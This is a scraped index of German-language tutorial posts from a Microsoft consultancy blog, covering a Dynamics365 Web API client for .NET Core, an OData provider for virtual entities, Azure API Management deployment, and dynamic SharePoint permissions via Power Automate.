Instanz Die Mandanten-ID, in der sich die Instanz befindet Application-ID und ClientSecret der App-Registrierung, über welche sich die Anwendung gegen Azure authentifizieren und Dynamics365 autorisieren kann Im Rahmen unserer Konsolenanwendung hard-coden wir die Verbindungsinformationen statisch in den Code. Das ist Bad Practice, soll uns an dieser Stelle aber zu Demonstrationszwecken genügen. Im Kontext einer ASP.NET Core Anwendung können die Verbindungsinformationen beispielsweise über die AppSettings eingespielt und der Client dann mittels Dependency Injection erstellt und innerhalb der Anwendung verfügbar gemacht werden.\nvar client = await DynamicsXrmWebApiClient.ConnectAsync( new DynamicsXrmConnectionParams { ServiceRootUri = \u0026#34;\u0026lt;service-root-uri\u0026gt;\u0026#34;, TenantId = \u0026#34;\u0026lt;tenant-id\u0026gt;\u0026#34;, ClientId = \u0026#34;\u0026lt;client-id\u0026gt;\u0026#34;, ClientSecret = \u0026#34;\u0026lt;client-secret\u0026gt;\u0026#34; }); CRUD-Operationen Habt ihr einen authentifizierten und autorisierten xRM Client, steht euch über diesen eine Auswahl generischer Methoden auf Basis eurer Model-Klassen für die Kommunikation mit der Web API zur Verfügung. Derzeit (v0.2.0) werden folgende Operationen unterstützt:\nErstellen (CreateAsync, UpsertAsync) Abrufen (RetrieveAsync, RetrieveMultipleAsync) Aktualisieren (UpdateAsync, UpsertAsync) Löschen (DeleteAsync) Massenverarbeitung (ExecuteBatchAsync) (aktuell nur teilweise unterstützt) Für das Abrufen von Reihen unterstützen die Retrieve-Methoden neben Paging auch die Verwendung aller OData-Queries, die die Web API unterstützt . Letztere können optional als String über einen Parameter mitgegeben werden. Um an das Beispiel von eben anzuknüpfen – ein Abruf aller Aufträge aus dem System, bei denen der geschätzte Aufwand mehr als 8 Stunden beträgt, lässt sich wie folgt umsetzen:\nstring whereEffortGreater8Hours = \u0026#34;?$filter=new_estimatedeffort_number gt 8\u0026#34;; List\u0026lt;SalesOrder\u0026gt; orders = await client.RetrieveMultipleAsync\u0026lt;SalesOrder\u0026gt;(whereEffortGreater8Hours); Ausblick Das soll uns für heute und an dieser Stelle erstmal genügen – die komplette Beispielanwendung aus diesem Artikel habe ich euch nochmal zusammenfassend auf GitHub bereitgestellt.\nIm nächsten und letzten Teil dieser Blogreihe werdet ihr erfahren, wie auch komplexere Szenarien mit dem Client umzusetzen sind. Dazu zählen beispielweise der Umgang mit Beziehungen zwischen Tabellen (Lookup-Spalten) oder das Absetzen von Batch Requests. Außerdem berichten wir euch von ein paar Fallstricken und Besonderheiten, die es bei der Programmierung gegen die Dynamics Web API mit dem xRM Client zu beachten gilt und wie wir damit umgegangen sind.\n","date":"10. Juni 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/d365-xrm-web-api-client-2_hu3eeb104354f0c8727139055e9afde9aa_21340_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/d365-xrm-web-api-client-2_hu3eeb104354f0c8727139055e9afde9aa_21340_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/dynamics365-xrm-web-api-client-teil-2/","tags":["dynamics-365","crm"],"title":"Dynamics365 xRM Web API Client - Teil 2"},{"categories":["Serien"],"contents":"Nachdem wir euch im letzten Teil unserer Blog-Serie in unseren Use-Case für virtuelle Entitäten eingeführt haben, möchten wir euch heute die technische Realisierung des zugehörigen Daten Providers vorstellen. Dieser ermöglicht als Bindeglied zwischen Dynamics365 und eurer externen Datenquelle den Austausch der Daten. So gelangen die Tickets unseres fiktiven Webshops aus der Datenbank also als virtuelle Entitäten in Dynamics 365.\nOData ist dabei ein offener Standard, der vorgibt, wie eine ReST-API angesprochen wird. Auch die Web API von Dynamics365 implementiert diesen. Eine nahtlose Integration ohne großen Aufwand lässt sich daher über die Registrierung eines OData Providers als virtuelle Datenquelle in Dynamics365 bewerkstelligen.\nWir zeigen euch am Beispiel der Ticket-Entität, wie ihr einen solchen OData-Service entwickelt.\nKonfiguration des OData-Service Unser OData Service wird als Web API realisiert und baut daher auf dem ASP.Net Core Framework von Microsoft mit der aktuellen .Net Version 5.0 auf. Für die Unterstützung des Protokolls kommt das NuGet-Package Microsoft.AspNetCore.OData zum Einsatz, das ihr zusätzlich in Visual Studio eurer Solution hinzufügen müsst. Die Konfiguration findet wie üblich in der Startup-Klasse des Projektes statt.\nIn der ConfigureServices-Methode werden dem Web-Server die benötigten Middleware-Services hinzugefügt. Neben der Einbindung des Entity Framework Kontextes (dazu gleich mehr) wird hier die zuvor installierte OData Middleware mittels services.AddOData() aktiviert.\npublic void ConfigureServices(IServiceCollection services) { services.AddSingleton\u0026lt;HttpBasicAuthorizeFilter\u0026gt;(); services.AddDbContext\u0026lt;EventTicketDbContext\u0026gt;(builder =\u0026gt; { builder.UseSqlServer(Configuration.GetConnectionString(\u0026#34;EventTicket\u0026#34;)); }); services.AddControllers(); services.AddOData(); services.AddApplicationInsightsTelemetry(Configuration[\u0026#34;APPINSIGHTS_CONNECTIONSTRING\u0026#34;]); } Der nächste Schritt findet in der Configure-Methode statt, die sich ebenfalls in der Startup-Klasse befindet. Hier wird die ASP .Net Anwendung konfiguriert und deren Verhalten zur Laufzeit gesteuert. Mit der Anweisung UseRouting wird zunächst das Routing aktiviert und schließlich mit dem Aufruf UseEndpoints die Bereitstellung der OData-Endpunkte konfiguriert. Neben den möglichen OData-Methoden (hier: Select, OderBy, Filter, Count und MaxTop) wird auch das dem Service zugrundeliegende Entity Data Model (EDM) erstellt, das die Basis eines jeden OData Services darstellt.\npublic void Configure(IApplicationBuilder app, IWebHostEnvironment env) { if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } app.UseDefaultFiles(); app.UseStaticFiles(); app.UseHttpsRedirection(); app.UseRouting(); app.UseEndpoints(builder =\u0026gt; { builder.Select() .OrderBy() .Filter() .Count() .MaxTop(null); builder.MapODataRoute(\u0026#34;odata\u0026#34;, \u0026#34;odata\u0026#34;, GetEdmModel()); }); } Das EDM beschreibt im Grunde genommen die abrufbaren Entitäten und deren Struktur samt Schlüssel-Attribut, Felder mit Datentypen, OptionSets, etc. In diesem Fall wird schlicht und ergreifend die Ticket-Klasse als EntitySet hinzugefügt. Der Route-Builder kann die Struktur dann direkt aus der Klasse ermitteln und diese über den Metadaten-Endpunkt zur Verfügung stellen.\nprivate IEdmModel GetEdmModel() { var odataBuilder = new ODataConventionModelBuilder(); odataBuilder.EntitySet\u0026lt;Ticket\u0026gt;(\u0026#34;Tickets\u0026#34;); return odataBuilder.GetEdmModel(); } Entity Framework Core Für die Anbindung der Datenbank kommt das Entity Framework Core (EFCore) als ORM-Framework zum Einsatz. Im Datenbank-Kontext wird hierfür die Ticket-Klasse als DbSet eingebunden, worüber dann Abfragen gegen die SQL-Datenbank ausgeführt werden können.\npublic class EventTicketDbContext : DbContext { public DbSet\u0026lt;Ticket\u0026gt; Ticket { get; set; } public EventTicketDbContext() { } public EventTicketDbContext(DbContextOptions\u0026lt;EventTicketDbContext\u0026gt; options) :base(options) { } } Die Ticket-Klasse selbst besitzt lediglich eine Hand voll Eigenschaften mit relativ simplen Datentypen. Zur Kennzeichnung des Primärschlüssels kommt das Key-Attribut zum Einsatz (klassisches ComponentModel), das sowohl vom OData- als auch Entity-Framework erkannt wird. Damit ist die Konfiguration der Entität vollständig und es kann weitergehen mit der Erstellung des Endpunktes.\npublic class Ticket { [Key] public Guid TicketId { get; set; } public Guid EventId { get; set; } public Guid KontaktId { get; set; } public string Ticketnummer { get; set; } public decimal Einzelpreis { get; set; } } OData-Endpunkte Damit nun auch die Ticket-Datensätze von außen über die Schnittstelle angefragt werden können, ist es notwendig einen ASP .Net Controller zu erstellen, der die Anfragen entgegen nimmt und verarbeitet.\nEine wichtige Anmerkung an dieser Stelle:\nSämtliche Parameter und Datentypen unterliegen strengen OData-Konventionen. Es muss daher penibel darauf geachtet werden, diese etwa in Sachen Namenskonvention einzuhalten, um später auch einen funktionierenden Service zu erhalten (z.B. muss der Eindeutige Bezeichner in der Get-Methode tatsächlich key heißen).\nDer TicketsController besitzt genau zwei Endpunkte für Anfragen. Der erste ermöglicht die Suche nach Tickets mithilfe aller in der Startup-Klasse konfigurierten OData-Methoden. Dies geschieht durch die Rückgabe des DbSets dieser Entität. Damit ist die Implementierung bereits abgeschlossen und das OData-Framework konvertiert Anfragen gegen den Endpunkt direkt in Entity Framework-Abfragen. Dasselbe gilt auch für den zweiten Endpunkt, der das Laden eines einzelnen Tickets anhand dessen Id ermöglicht.\n[ServiceFilter(typeof(HttpBasicAuthorizeFilter))] public class TicketsController : ODataController { private readonly EventTicketDbContext _dbContext; public TicketsController(EventTicketDbContext dbContext) { _dbContext = dbContext; } [EnableQuery] public IQueryable\u0026lt;Ticket\u0026gt; Get() { return _dbContext.Ticket; } [EnableQuery] public Ticket Get([FromODataUri] Guid key) { return _dbContext.Ticket.Single(l =\u0026gt; l.TicketId == key); } } Damit die Daten nicht gänzlich öffentlich zugänglich sind, wird mit einem simplen API-Key-Mechanismus eine rudimentäre Authentifizierung implementiert. Der zugehörige ActionFilter wird vor jedem Aufruf eines Endpunktes ausgeführt und überprüft den HTTP-Request auf die Existenz eines entsprechenden Query-Parameters. Sollte dieser nicht ordnungsgemäß mitgeliefert werden, wird die Anfrage mit dem Status Code 401 (Unauthorized) abgelehnt.\npublic class HttpBasicAuthorizeFilter : IActionFilter { private const string ApiKey = \u0026#34;1234567890\u0026#34;; public void OnActionExecuted(ActionExecutedContext context) { } public void OnActionExecuting(ActionExecutingContext context) { if (context.HttpContext.Request.Query.TryGetValue(\u0026#34;ApiKey\u0026#34;, out StringValues apiKey)) { if (apiKey.ToString().Equals(ApiKey)) { return; } } context.Result = new UnauthorizedResult(); } } Fazit Das war der technische Teil – geschafft!\nIhr solltet nun einen funktionierenden OData Service haben, den ihr als ASP .NET Core Web Anwendung bereitstellen könnt. Wie dieser in Dynamics365 als virtuelle Datenquelle registriert wird und das System darüber die virtuellen Entitäten erzeugt, zeigen wir euch dann im nächsten Teil.\n","date":"27. Mai 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/virtuelle-entit%C3%A4ten-in-d365-2_hu959bb6cfbfc8ba90f1e2861cb35ceeba_18850_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/virtuelle-entit%C3%A4ten-in-d365-2_hu959bb6cfbfc8ba90f1e2861cb35ceeba_18850_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/virtuelle-entit%C3%A4ten-in-dynamics365-teil-2/","tags":["dynamics-365"],"title":"Virtuelle Entitäten in Dynamics365 - Teil 2"},{"categories":["How to","Serien"],"contents":"In meiner Serie zu Web APIs mit Azure Functions stelle ich neben einigen Pattern auch Codebeispiele vor. In Summe können diese Beiträge als Handlungsanweisung verwendet werden, um effizient Web APIs mit Azure Functions zu erstellen und in Azure bereitzustellen.\nHier nochmal eine Übersicht der bisher veröffentlichten Beiträge:\nWeb APIs mit Azure Functions: Projektstruktur (Teil 1) Web APIs mit Azure Functions: Requesthandling (Teil 2) Web APIs mit Azure Functions: Responsehandling (Teil 3) Web APIs mit Azure Functions: Swagger UI (Teil 4) Überblick Im vorherigen Beitrag habe ich über die Verwendung von OpenAPI mit Swashbuckle in Azure Functions gesprochen und welche grundsätzlichen Vorteile die Verwendung eines API Managements bietet.\nIn diesem Blogbeitrag werden die Funktionsweise und weitere Vorteile eines API Managements auf Basis von Azure aufgezeigt. Mit einem praktischen Beispiel wird die erstellte Azure Function aus der bisherigen Serie dieser Blogbeiträge in Azure bereitgestellt (GitHub Repo) und in ein API Management eingebunden. Dabei steht u.a. die automatische Konfiguration anhand der OpenAPI-Definition im Fokus.\nAPI Management in Azure Das API Management (APIM) in Azure bildet die zentrale Anlaufstelle für Anforderungen an die Backend Systeme (APIs) im Hintergrund. Damit kann das APIM als Fassade betrachtet werden, welche die Anfragen an einem einheitlichen Endpunkt (Domain) entgegennimmt und entsprechend der Vorgaben an die Backend-Systeme weiterleitet.\nDabei spielt es keine Rolle, ob das Backend eine Azure Function, eine Logic App, einen Endpunkt auf einem lokalen Server (OnPrem) oder einen externen Endpunkt (bspw. AWS) darstellt. Die Authentifizierung erfolgt hierbei z.B. über einen JWT-Token.\nDas APIM kann neben einer einheitlichen Domäne die Anfragen soweit modifizieren/verändern und anpassen, sodass die jeweiligen Endpunkte diese entsprechend verarbeiten können, unabhängig vom Aufrufer.\nDas APIM bietet die Möglichkeit Azure Functions mittels eines Imports zu verwenden, dabei kann auch die vorherige Definition der OpenAPI (JSON) so genutzt werden, sodass wir hierauf über das APIM zugreifen können.\nDeployment: Azure Function Zur Erstellung der Notwendigen Ressourcen in Azure verwenden wir das Azure CLI. Hierbei werden zunächst eine Ressourcen Gruppe erstellt. Darin wird anschließend ein Storage-Account angelegt. Zum Schluss wird eine Function App (Consumption Plan) mit der Function Runtime Version 3 erzeugt. Die entsprechenden Aktionen sind im folgenden Listing aufgeführt:\nstorageName=mystorageaccount$RANDOM functionAppName=okblog-myTodo-func region=westeurope resourceGroupName=okBlogResourceGroup # Erstellen einer Ressourcen Gruppe az group create --name $resourceGroupName --location $region # Erstellen eines Azure Storage Accounts in der selben Ressourcen Gruppe az storage account create \\ --name $storageName \\ --location $region \\ --resource-group $resourceGroupName \\ --sku Standard_LRS # Erstellen einer Function App in der selben Ressourcen Gruppe az functionapp create \\ --name $functionAppName \\ --storage-account $storageName \\ --consumption-plan-location $region \\ --resource-group $resourceGroupName \\ --functions-version 3 Nach der Bereitstellung der Ressourcen in Azure, können wir nun das Veröffentlichungsprofil herunterladen und unsere Azure Function via Visual Studio deployen.\nNach dem Deployment in Azure können wir neben dem Aufruf der eigentlichen Funktionen unserer Azure Function auch den Endpunkt zur Anzeige der OpenAPI-Definition via JSON betrachten. Diese URL wird für die spätere Einrichtung im APIM benötigt.\nIntegration Azure Function in das APIM Für die Einrichtung der Azure Function via APIM wird zunächst einmal eine APIM Instanz benötigt, welche im weiteren Verlauf dieses Beitrags entsprechend konfiguriert wird.\nErzeugung APIM-Instanz Für eine rasche Bereitstellung einer APIM-Instanz in Azure eignet sich die Azure CLI hier am besten. Für die Erstellung sollte folgender Befehl in der Shell ausgeführt werden:\napiManagementInstanceName=okBlogApim az apim create \\ -g $resourceGroupName \\ -n $apiManagementInstanceName \\ -l $region \\ --sku-name Consumption \\ --publisher-name okblogtest \\ --publisher-email apim@okblogtest.com --no-wait Hinweis: Die Erzeugung einer neuen APIM-Instanz dauert zwischen 30-40 Minuten. Mit der Verwendung der SKU „Consumption“ verringert sich die Bereitstellungszeit auf bis zu zwei Minuten. Standardmäßig kann hier die SKU „Development“ gewählt werden.\nImportieren der Azure Function App in das APIM Nachdem die Ressource bereitgestellt wurde, navigieren wir zum APIM und legen uns hier eine neue API an. Hierzu genügt ein Klick im Azure Portal auf „APIs“ in der linken Navigation und dann „Add API“. Mit einem Klick auf OpenAPI erscheint eine neue Maske.\nIn der Maske werden die benötigten Informationen eingegeben. Hierzu gehört u.a. die Angabe der OpenAPI Definition (hierfür haben wir den Link beim Deployment der Azure Function kopiert) und die Angabe eines Namens, einer Beschreibung und optional ein Suffix für die APIM URL.\nAnschließend wird die Azure Function in das APIM importiert und sämtliche Informationen für die Endpunkte wird entsprechend der OpenAPI-Definition gesetzt. So werden u.a. die Query-Parameter direkt angezeigt, welche der Aufruf benötigt.\nIm Tab „Test“ können die APIs nun die Endpunkte über das APIM getestet werden.\nZusammenfassung Mit der Verwendung eines APIMs haben wir nun neben der eigentlichen Erstellung der Web API mittels Azure Functions selbige auf Azure deployt und darüber verfügbar gemacht. Weitere Web APIs, welche nach dem ähnlichen Prinzip dieser Serie erstellt werden, können nun ebenfalls in das APIM integriert werden. Gleichzeitig wurden die Vorteile von OpenAPI zu Nutze gemacht und das APIM automatisch damit konfiguriert.\n","date":"19. Mai 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/web-apis-mit-azure-functions-api-management-teil-5_hub25e2c13663381de2de8677e2753f28d_7152_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/web-apis-mit-azure-functions-api-management-teil-5_hub25e2c13663381de2de8677e2753f28d_7152_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/web-apis-mit-azure-functions-bereitstellung-via-api-management-teil-5/","tags":["azure","backend","low-code"],"title":"Web APIs mit Azure Functions: Bereitstellung via API Management (Teil 5)"},{"categories":["Serien"],"contents":"In der kommenden Blog-Serie möchte ich euch gemeinsam mit meinem Kollegen ZhengChen Guan die Alpha-Version einer Open-Source-Softwarebibliothek vorstellen, die ich im Laufe des letzten Jahres entwickelt, verfeinert und bereits in einigen Projekten einsatzerprobt habe. Dabei handelt es sich um einen Client, mit dem ihr unter .NET Core gegen die Web API von Dynamics365 CRM programmieren könnt. Der Quellcode hierzu ist auf GitHub veröffentlicht.\nDie Serie gliedert sich in drei Teile:\nDynamics365 xRM Web API-Client (Teil 1): Vorstellung und Einführung Dynamics365 xRM Web API-Client (Teil 2): Arbeiten mit dem Client Dynamics365 xRM Web API-Client (Teil 3): Tipps, Tricks \u0026 Work in Progress Motivation Für die konventionelle Programmierung gegen Dynamics365 CRM bietet Microsoft das Microsoft.Xrm.Sdk unter dem bereits in die Jahre gekommenen .NET Framework an. Darin enthalten sind neben Klassen für die Arbeit mit Entitäten auch solche, mit denen die Authentifizierung, Kommunikation und Ausführung von CRUD-Operationen bewerkstelligt werden können. Mit dem Fortschritt auf .NET Core hat Microsoft allerdings eine Lücke in der eigenen Systemwelt hinterlassen, da das SDK für .NET Core Anwendungen nicht nutzbar ist. Seither braut hier jeder bei Bedarf sein eigenes Süppchen und wir haben uns an dieser Stelle eine allgemeingültige und wieder verwendbare Lösung gewünscht. Die eigens entwickelte Softwarebibliothek löst genau dieses Problem– durch sie erfolgt nun auch das Enabling von .NET Core Anwendungen für den Umgang mit Datensätzen aus Dynamics365 CRM.\nFunktionsweise Die Kommunikation zwischen Client und CRM erfolgt über die Dynamics365 CRM Web API. Der Client arbeitet dabei nach dem ORM-Prinzip, so dass Klassen und Eigenschaften im Code auf entsprechende Tabellen und Spalten des Dataverse abgebildet werden können. Die Models müssen vom Benutzer selbst – abhängig vom Customizing der eigenen Instanz – erbracht werden. Dabei wird vorrangig deklarativ mit Klassenattributen und JSON-Annotationen gearbeitet. Neben generischen Methoden für alle gängigen CRUD-Operationen deckt der Client zusätzlich die Authentifizierung der Anwendung ab.\nFeatures Integrierte Authentifizierung über OAuth 2.0 Client Credential Flow mit Client-Id \u0026amp; Secret Create, Retrieve, Update, Delete von Datensätzen aus Dataverse inkl. Upsert und RetrieveMultiple Unterstützung aller durch das System erlaubten OData-Kommandos (z.B. Filter, Select, Expand) Transaktionssichere Ausführung mehrerer CRUD-Operationen mit einer HTTP-Anfrage über OData Batch-Requests Einsatzbereiche Der Client bietet sich vor allem im Bereich der Integrationslösungen mit Dynamics365 CRM an. Konkrete Anwendungsfälle könnten sein:\nEure ASP .NET Core Web-Anwendung benötigt Stammdaten wie Firmen oder Kontakte, die aus Dynamics365 CRM abgerufen werden müssen Eure Azure Function v3 unter .NET Core soll Aufgaben an Verkaufschancen erstellen und verknüpfen Eure Geschäftslogik muss aufgrund von Plattformlimitierungen (z.B. Massenerstellung von Datensätzen) auf die Azure Plattform ausgelagert werden, aber ist zu komplex für die Umsetzung in einem Flow Ein kleines Praxisbeispiel dazu:\nDer Geschäftsprozess eines Kunden sah die Umwandlung von Angeboten aus Sales in Arbeitsaufträge des Field Service vor. Die einzelnen Angebotspositionen aus dem Angebot mussten dabei automatisiert auf Arbeitsauftragspositionen abgebildet werden. Die Regelsätze der Konvertierungslogik waren dabei so komplex und umfangreich, dass die Abbildung der Logik in einem Flow nicht denkbar gewesen wäre [1]. Eine weitere Schwierigkeit bestand zudem darin, dass sich die Anzahl der zu erstellenden Positionen erwartungsgemäß auf mehrere Hunderte belief. Die programmatische Erstellung dieser Datensätze aus einem Plugin heraus hätte die zeitliche Ausführungsbeschränkung von 2 Minuten in vielen Fällen überschritten. Die Logik musste also – auch auf Empfehlung von Microsoft hin – auf die Azure Cloud Plattform ausgelagert werden. Wir entschieden uns in diesem konkreten Fall für eine .NET Core Azure Function v3 und konnten dort mit Hilfe des Clients alle nötigen Operationen für die betroffenen Datensätze effizient durchführen.\n[1] Bei dieser Entscheidung hat mir die Entscheidungshilfe aus einem meiner früheren Blog-Beiträge geholfen. Schaut doch mal rein!\nEin Vorgeschmack zum Abschluss Der Deep Dive zur Funktionsweise und Benutzung des Clients mit umfänglichen Beispielen folgt im nächsten Teil der Serie. Als kleine Anregung jedoch vorab schon mal ein kleiner Ausschnitt, wie die Erstellung eines Firmendatensatzes in Dynamics365 CRM später im Code aussehen könnte.\nZunächst müsst ihr eine Datenklasse für eure Tabelle mit den für euch relevanten Feldern erstellen. Keep it simple – uns interessiert nur der Name. Mehr zu den Details und Einzelheiten dann im kommenden Teil 2.\n[DataverseTable(\u0026#34;account\u0026#34;, \u0026#34;accounts\u0026#34;)] public class Account { [DataverseRowId] [JsonPropertyName(\u0026#34;accountid\u0026#34;)] public Guid Id { private get; set; } [JsonPropertyName(\u0026#34;name\u0026#34;)] public string Name { get; set; } } Unter der Annahme, dass bereits eine authentifizierte und verbundene Instanz des Clients im Platzhalter client vorliegt (auch hierzu mehr in Teil 2), legen wir in Dynamics365 CRM einen neuen Firmendatensatz an.\nawait client.CreateAsync(new Account { Name = \u0026#34;Objektkultur Software GmbH\u0026#34; }); ","date":"12. Mai 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/d365-xrm-web-api-client-1_hu770f40cc3c5291d2904b25ffc3fde803_32894_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/d365-xrm-web-api-client-1_hu770f40cc3c5291d2904b25ffc3fde803_32894_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/dynamics365-xrm-web-api-client-teil-1/","tags":["dynamics-365","crm"],"title":"Dynamics365 xRM Web API Client - Teil 1"},{"categories":["How to","Serien"],"contents":"Bei vielen Digitalisierungsprojekten unserer Kunden, bei denen wir bestehende Anwendungen u.a. in SharePoint umsetzen, bestehen besondere Anforderungen an Dokumentenbibliotheken oder benutzerdefinierte Listen (vgl. Microsoft List). Dabei spielt eine besondere Rechtestruktur für einzelne Dateien, Listenelemente oder Ordner oft eine wichtige Rolle.\nDie Berechtigungen sollen dabei immer dynamisch und abhängig von einem Parameter des entsprechenden Listenelements oder der Datei in der Dokumentenbibliothek gesetzt werden.\nIm On-Premises-Umfeld greift man für diese Anforderungen oft und gerne zu einem Provider Hosted Add-In für SharePoint und registriert dieses auf die entsprechenden Event-Typen der Liste bzw. Dokumentenbibliothek.\nMit der Verwendung von SharePoint Online kann diese Herangehensweise nach wie vor so gewählt werden, doch bietet Power Automate mit seiner Vielzahl an Standardkonnektoren mittlerweile eine breite Palette an nützlichen und umfangreichen Aktionen, mit welchen die Anforderungen der Kunden umgesetzt werden können.\nUnd darum soll es in diesem Beitrag auch gehen: Zunächst gehe ich in das grob skizzierte Szenario ein und zeige grundsätzlich, wie die Anforderung mit einem Provider Hosted SharePoint Add-In umgesetzt werden kann. Der Fokus wird allerdings auf der Konfiguration und Verwendung eines Power-Automate-Flows liegen, mit welchem wir diese Anforderungen mit einem geringeren Aufwand umsetzen können.\nAusgangssituation Im gewählten Szenario besteht eine benutzerdefinierte Liste im SharePoint (Ressourcen). Die Listenelemente besitzen neben dem Titel noch einige weitere Felder vorhanden, wobei für dieses Beispiel lediglich das Feld „Verantwortlich“ relevant ist. Dieses Feld enthält Informationen zu einer Person, welche für dieses Element zuständig ist.\nNun besteht die Anforderung darin, dass nur derjenige für dieses Listenelement berechtigt wird, wer auch im Feld „Verantwortlich“ eingetragen ist. Somit sieht der jeweils angemeldete nur die Listenelemente, für welche er auch berechtigt ist.\nLösungsmöglichkeiten Eine typische Lösung für die Ausgangssituation ist es, die Vererbung der Berechtigungen für diese Liste zu unterbrechen und eigene Berechtigungen für die jeweiligen Listenelemente zu vergeben.\nProvider Hosted Add In (SharePoint) Die Verwendung von Add Ins im SharePoint-Umfeld erscheint oft als der richtige Weg für die die Umsetzung solcher Anforderungen. Dabei bietet SharePoint neben der erwähnten Provider Hosted Add Ins auch SharePoint Hosted Add Ins. Beide unterscheiden sich jeweils im Funktionsumfang.\nFür die Veränderung von Berechtigungen auf einem Listenelement oder einer Datei in einer Dokumentenbibliothek benötigt man allerdings ein Provider Hosted Add In.\nBeim Deployment wird ein Teil der Applikation (App) im App-Katalog von SharePoint und ein Teil (Web) beim entsprechenden Provider (OnPrem: IIS; Cloud: z.B. Azure) bereitgestellt. Die App registriert auch die Remote Event Receiver auf der entsprechenden Liste/ Dokumentenbibliothek. Die Entwicklung von SharePoint Add Ins erfolgt in C#.\nSomit ist die Verwendung sowohl für SharePoint Online als auch SharePoint On-Premises möglich.\nPower Automate Mit der Einführung von Power Automate (ehemals Microsoft Flow), begann Microsoft die Schrittweise Ablösung ihrer eigenen Workflow-Engine, welche mit SharePoint ausgeliefert wurde.\nPower Automate verfolgt einen anderen Ansatz, als die bisherige Workflow-Logik von Microsoft. Hierbei verfolgt es den Low Code Ansatz. Das Ziel ist also durch die Bereitstellung von Standardfunktionalitäten in Form von Konnektoren, die entsprechenden Anforderungen zum einen komplett visuell und zum anderen mit der entsprechenden Konfiguration der Konnektoren zu realisieren.\nExemplarische Implementierung\nFür die exemplarische Implementierung verwende ich eine einfache Liste, welche lediglich einen Titel (Anlagenamen) und ein weiteres Feld (Verantwortlich) besitzt, um einen Benutzer festzulegen.\nIn der Liste kann direkt ein Power Automate Flow erstellt werden.\nAls Trigger verwenden wir den Standard SharePoint-Connector „Wenn ein Element erstellt oder geändert wird“ und definieren neben unserer SharePoint Umgebung (WFTest) auch die Liste (Ressourcen).\nZur einfachen Verwendung der PrincipalId (des Users) initialisieren wir eine neue Variable (principalId).\nAnschließend soll die Vererbungsunterbrechung durchgeführt werden. Da der Trigger potentiell mehrere Ergebnisse liefert (mehrere Elemente wurden erstellt, bzw. geändert z.B. durch die Grid-Edit Funktionalität), werden die folgende Aktionen in einem ForEach ausgeführt.\nUm die Vererbungsunterbrechung für unser Element durchzuführen, muss ein Http-Request gegen die SharePoint API gesendet werden. Auch hierzu besteht eine vordefinierte Aktion in Power Automate. Hierbei muss lediglich die Http-Methode und die jeweilige Uri definiert werden.\nMethode: POST\nUri: _api/lists/getByTitle(‚Ressourcen‘)/items(@{items(‚ForEach_für_jedes_geänderte_erstellte_Element‘)?[‚ID‘]})/breakroleinheritance(copyRoleAssignments=false,clearSubscopes=true)\nAls nächstes soll die PrincipalId des Verantwortlichen Benutzers ermittelt werden (via E-Mail). Auch dies Erfolgt über die vordefinierte Http-Request-Aktion von SharePoint.\nMethode: GET\nUri: _api/web/SiteUsers/getByEmail(‚@{items(‚ForEach_für_jedes_geänderte_erstellte_Element‘)?[‚Verantwortlich‘]?[‚Email‘]}‘)\nZur einfachen Verwendung, wird die PrincipalId in der vorher initialisierten Variable gespeichert.\nWert: body(‚HTTP-Anforderung_an_SharePoint_senden:_Get_User_PrincipalId‘)[‚d‘][‚id‘]\nIm letzten Schritt wird die gewünschte Berechtigung für das Element gesetzt. Dies erfolgt ebenfalls über die Http-Request-Aktion von SharePoint.\nMethode: POST\nUri: _api/lists/getByTitle(‚Ressourcen‘)/Items(@{items(‚ForEach_für_jedes_geänderte_erstellte_Element‘)?[‚ID‘]})/roleassignments/addroleassignment(principalid=@{variables(‚principalId‘)},roledefid=1073741829)\nDer Parameter roledefid setzt dabei die Art der Berechtigungen. Die Folgende Tabelle zeigt die weiteren Rollen-Definitionen und deren zugehörige RollenID:\nRollendefinition Rollendefinition Id Full Control 1073741829 Design 1073741828 Edit 1073741830 Contribute 1073741827 Read 1073741826 View Only 1073741924 Limited Access 1073741825 Der Power Automate Flow besitzt insgesamt folgende Konnektoren:\nWenn wir nun ein neues Element in der Liste „Ressourcen“ erstellen oder ein bestehendes ändern, werden die Berechtigungen entsprechend des Benutzers im Feld „Verantwortlich“ gesetzt.\nWie im Screenshot zu erkennen, wurde im Beispiel der Verantwortliche auf meinen Kollegen Tobias Heilig festgelegt. Beim Überblick ist zu erkennen, dass der Zugriff auch für Ihn als Besitzer gesetzt wurde.\nFazit Die exemplarische Implementierung mit Power Automate hat gezeigt, wie schnell und einfach die Berechtigung für ein Listenelement dynamisch gesetzt werden kann. Dabei 